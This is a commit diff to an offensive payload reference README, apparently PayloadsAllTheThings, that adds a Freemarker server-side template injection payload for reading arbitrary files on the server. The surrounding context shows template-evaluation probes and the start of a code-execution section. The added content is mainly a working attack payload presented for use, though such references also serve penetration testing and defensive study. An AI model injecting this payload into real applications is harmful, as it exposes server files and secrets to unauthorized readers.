Merge pull request #450 from ahronmoshe/patch-3

Update README.md
This commit is contained in:
Swissky 2021-10-26 21:51:41 +02:00 committed by GitHub
commit add722d1c2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -155,6 +155,13 @@ You can try your payloads at [https://try.freemarker.apache.org](https://try.fre
The template can be `${3*3}` or the legacy `#{3*3}`. The template can be `${3*3}` or the legacy `#{3*3}`.
### Freemarker - Read File
```js
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII
```
### Freemarker - Code execution ### Freemarker - Code execution
```js ```js